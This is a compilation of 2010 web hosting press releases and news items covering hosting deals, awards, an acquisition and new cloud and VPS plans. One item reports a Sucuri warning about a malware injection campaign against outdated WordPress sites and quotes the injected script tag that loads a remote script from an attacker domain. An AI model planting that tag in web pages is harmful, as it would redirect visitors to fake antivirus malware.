Greatresponder.com – 2010-08-09 – Domain.com, a leading web services company, today announces a new program to support America’s young entrepreneurs. In light of the recent news where county health authorities shut down 7 year old Julie Murphy’s lemonade stand, Domain.com is showing solidarity with all young entrepreneurs by making it easy and inexpensive for their parents to help them build a website.

With just a domain name and a website, the neighborhood lemonade stand concept can go global, and the truth is it’s no longer difficult to get started. “It’s simple for parents to help their kids start their own website,” said David Andrews, brand manager for Domain.com. “Creating a website is one of the first skills budding entrepreneurs should learn. There are three steps to building a website – name it, build it, host it.”

Parents can give their children a head start on school, science experiments, and the basics of starting a business. All it takes is working with their kids to register a personalized domain name and to create a website using an easy-to-use website builder that comes complete with an online store.

For the month of August, Domain.com is giving away free domain names with all web hosting plans. Parents can get started by visiting Domain.com and using coupon code LEMONADE at checkout. Web hosting plans that include a website builder with online store, photo gallery, blog, and more are only $5.75/month.

About Domain.com Web Hosting Provider
Helping entrepreneurs become successful online since 2000, Domain.com offers high quality, reliable Web hosting and domain name registration services at the most affordable prices in the industry. Domain.com’s full range of solutions to create and market websites includes Web hosting, VPS hosting, Email, SSL certificates, website design, and email marketing. For more information visit: www.domain.com.

?Source: PRweb

Greatresponder.com – 2010-08-08 – HostGee.Com Inc., one of the top expanding hosting providers in North America, Pakistan and Saudi Arabia, introduced its $10/first year hosting deal. This hosting offer contain unlimited bandwidth, unlimited storage and also one free of charge domain name.

For less than $10 for the 1st year, this plan is an especially inexpensive, yet turnkey solution for private and also business clients. It contain:
- Unlimited bandwidth
- Unlimited disk space
- Unlimited e-mail accounts
- Unlimited websites
- Online ad credits
- One free domain
- 24/7 customer support

“We’re committed to providing customers with affordable solutions to establish and grow web presence. At just $10 for the first year, this unlimited hosting package provides a great opportunity to those who have not yet experienced our state-of-the-art technology and top quality customer service,” says Shafiq Ur Rehman, CEO/Founder. “On top of all the included rich features, we’re also providing a money back guarantee to all new customers.”

HostGee.Com Web Hosting includes a simple to utilise Cpanel that enables customers to set up common open source apps such as WordPress, Drupal, Joomla and Zen Cart at the click of a button.

All of HostGee web hosting plans are powered with a best tier North American datacenter that utilizes clustered server technology, enabling good resource allocation at all times so customers’ web sites won’t ever go down or slow down.

This $10/year web hosting plan is really a limited time offer, most recently promoted throughout PC World Magazine and also Techcrunch. Normal cost was $57.00/year.

About HostGee.Com Web Hosting Corporation
HostGee Firm offers domain registration, Hosting and e-commerce, co-location, managed dedicated server, SaaS web hosting, Website design and also website marketing plans for more than one Hundred Thousand Web pages and 80,000 clients worldwide. They operates more than 250,191 square feet of state-of-the-art data centers that decrease the difficulty and price of Web-based systems for small businesses and big firms. Founded in 2009, HostGee is among the world’s major Hosting providers having a direct attendance in three countries, three worldwide operation centers with over one hundred fifty workers.

Greatresponder.com – 2010-08-05 – Web hosting directory and review site, FindMyHost.com, released its 2010 Editor’s Choice Awards for August. Network Solutions® was the winner in the business hosting category. Editors at FindMyHost.com reviewed Network Solutions web hosting packages and gave an “A” grade for the sales process, customer support, package features and usability.

After testing the three methods for customer support (email, trouble ticket and phone), the editors preferred the phone method; however they found that all three contact points were met with great response and resolution times. They also found Network Solutions sales associates to be helpful, friendly and knowledgeable.

To determine which package meets the needs of a particular business, the web hosting solutions are featured on Network Solutions’ website in a way that makes it easy to compare what’s included and how they can be effectively implemented into a business. In particular, the editors like the ability to review the features included within each web hosting package and found each provided businesses everything needed to create a successful online presence.

The editors also found the Network Solutions website easy to navigate and the “about us” section provided good information about the company.

About Network Solutions:

Network Solutions provides small businesses with the tools and resources to start, grow and manage their companies online. Network Solutions leverages more than 30 years of pioneering experience to help businesses thrive in an increasingly digital world. To ensure our customers’ success, we support them with outstanding customer service and solutions that are simple, innovative and reliable. Additional information can be found at www.about.networksolutions.com.

Source: PRweb

Greatresponder.com – 2010-08-04 - GI Partners announced that it has acquired all equity of SoftLayer Web hosting provider.

Lance Crosby, CEO of SoftLayer states: “I’m extremely proud of how much SoftLayer has grown and accomplished in its history. GI Partners’ investment and partnership enables us to take our unparalleled approach to the next stage. It’s gratifying that a firm with GI Partners’ insight and success sees such value in SoftLayer’s past growth and future opportunities.

GI Partners, based in The Menlo Park, CA, owns a controlling interest in The Planet, and rumors surfaced during HostingCon held in Austin, TX on July 19-21 that there would be a merger or takeover involving the two Web hosting companies in some shape or form. That possibility still exists.

Rick Magnuson, Executive Managing Director of GI Partners said: “SoftLayer has taken a visionary model and created a company for the future of hosting. We are excited to bring additional resources and experience to help SoftLayer leverage its strategic position in the expanding global data center services market.

GI Partners (www.gipartners.com) manages about $4 billion worth of capital and has investments in colocation hosting firm Telx Group as well as Managed hosting provider ViaWest. Visit www.softlayer.com for more information on it’s Web hosting and data infrastructure services.

Greatresponder.com – 2010-07-29 – Sucuri, an eminent name in providing Web integrity and monitoring solutions, has issued a warning of a new series of malware code injection attacks targeting obsolete WordPress websites, as reported by SOFTPEDIA on July 17, 2010.

Users, who visit these websites, will end up being redirected to web pages that serve FakeAV variant.

Further, the security researchers explained, that these new attacks were the duplicate of those mass compromises that had recently, hit thousands WordPress blogs, on BlueHost, GoDaddy and other organizations. The hackers execute automatic scan procedures to trace the vulnerable installations and thus insert a rouge code in the PHP script.

This malicious code is obfuscated through an encoding function called, base64. The assessment of code gives the output as the elements of a HTML script, which have the content of an external domain.

In such a situation, cyber criminals use “whereisdudescars.com” as the attacking website. Besides, they add the following JavaScript code to the websites: <script src=” http://whereisdudescars.com/js2.php”></script>. This code further loads another JavaScript code from the site http://www4.realprotection36.co.cc, trying to push “Fake Antivirus” virus to the site visitor.

The script can also be used to redirect to other malicious domains possibly from the .co.cc. The domain (co.cc) is in controversy now because of hosting malware loaded websites that manipulate search results through poisoned search results.

This type of criminal activity is very common in the cyber world, whereby the criminals take advantage of the victims by panicking them. Once the victims are panicked, the criminals either persuade them to upload malware to infect their computers or ask them for license fee for the removal of cyber security threat.

In fact, there have been many poisoned search results pointing to a website hosted on .co.cc domains, from where the victims are redirected to other pages similar to YouTube or displaying some fake antivirus scans. In such cases, scareware installer naming PACKUPDATE107_195.EXE is downloaded and detected as Adware/SecurityMasterAV.

According to the security firm “Panda”, websites displayed in both the cases have no connection to the search carried out. An image that appears ‘My Computer’ is displayed with an alert message of infection after the system is completely scanned, reports cjnews on July 16, 2010.

Resource: SPAMfighter News

Web hosting leader and innovator, SiteGround.com, announced the release of their new cloud web hosting service based on KVM, one of the industries best virtualization technologies.  KVM is able to offer the control of guests in an OpenVZ-like manner with the isolation of Xen.  Also, it includes numerous free extras with the service which makes it extremely attractive

Cloud web hosting service is the best solution for large websites that see a large vast amount of traffic because of its ability of providing large amounts of computer resources.  Their cloud service is also powered by redundant storage on the Sun Powered Cloud Storage which ensures the reliability of your files and documents.

The virtualization technology utilized by SiteGround is KVM.  It is one of the best virtualization technologies at the moment and one of the rares ones that are being utilized in a cloud platform, it has a very good ability to split and share equally resources between clients as noted by Nikolay Todorov, CTO of SiteGround

To learn more about the new web hosting platform by SiteGround, please visit the following link: http://greatresponder.com/siteground

About SiteGround:

SiteGround is one of the leading hosting providers in the web hosting industry, they host over 250,000 domains from all over the world.  They have a large offering starting from shared hosting and working their way up to business, reseller managed dedicated hosting and the recently introduced cloud hosting.  They offer a very powerful infrastructure and 24/7/365 technical support which assures you uptime and reliability.

Web hosting leader, VEXXHOST.COM, announced their new “Holiday Web Hosting Special” for shared web hosting.  The plan is priced at $3.95 per month which offers unlimited disk space, unlimited monthly transfer, industry leading CDP backups (which are taken every 3 hours of every account and database), free site builder and free domain name.  Customers of other web hosting companies are also eligible to up to $25 of credit into their VEXXHOST account to cover the remainder of their term at their old web hosting company.

This plan offers all the features necessary and needed for a web hosting plan, the price of the plan does not reflect it’s features as it comes with unlimited everything, including unlimited hosted domains, as well as a 99.9% up-time guarantee, all backed up by a 30 day money back guarantee.  There are no hidden fees and there are no setup fees.

Additional services that are available to all of VEXXHOST’s clients are Fantastico which allow customers to install more than 50 PHP scripts without going through the fuss of creating new databases, configuring and installing. They also offer a simple self-intuitive web site builder, preloaded with over 500 templates, that makes building websites extremely easy.

VEXXHOST uses the latest Xeon multi-processor servers with a minimum of 8GB of ECC RAM.  Their storage system is based on RAID-10 arrays that are optimized for maximum speed and at the same time is able to sustain numerous failures, if they ever do.

VEXXHOST currently operates two data centers as well as their own fully redundant BGP network that allows them to have sites with 100% uptime because they control all of their servers, network equipment, redundant power generators and UPS systems.

VEXXHOST has gone the extra mile by offering exceptional unique services only available to their clients.  To name a few, InstantVideo which allows client’s to install a video sharing website with a few clicks, without going through configurations and databases as well as custom PHP configuration utility that allows clients to modify their php.ini file without having to create it themselves and configure it.

Just like every year, VEXXHOST comes with a much better deals, with great features and a great prices as well, the wisest decision is to switch over from your current host, take advantage of the $25 credit, and make sure to sign up and lock yourself onto this deal, as VEXXHOST never raise their prices and never will as long as you continue to remain their client on that specific package.

Host Color web hosting provider , a well-known  firm in VPS Web Hosting community announced to hosting media its changes in VPS hosting plans. They increased the resources of their best selling plans in virtual private servers – “VPS Advance” and “VPS Start”.

Managing Director of Host Color LLC, Alexander Avramov said “The new upgraded Virtual Private Servers provide more resources and support our customers to reach their growth targets. We are now offering load-balanced VPS hosting plans from two different data centers – one in Indiana, U.S. and the other in Amsterdam, The Netherlands. I can say that now Host Color ranks among the most reliable and technologically advanced providers in VPS hosting industry”.

“VPS Start” new  features are 384 MB of memory, 15 GB of web space and 150 GB of monthly bandwidth. The cost of this virtual server plan did not changed and stays at $19.95/mo. The previous features of this plan was  256 MB of memory, 10 GB of web space and 100 GB of monthly bandwidth.

“VPS Advance” new features are  768 MB memory, 30 GB of web space and 300 GB of monthly bandwidth. There is also a $10 per month decrease in hosting price if customers decide to pay on a yearly bases with an annual contract.

The above VPS plans uses Virtuozzo virtualization a product from Parallels. Host Color gives the clients  of the above VPS hosting plans a way to use Parallels Plesk Control Panel with an affordable cost of $5/mo. This is a $10 less than the average monthly license price of Plesk control panel of $15/mo. They also offer CPanel control panel with a price of $15/mo.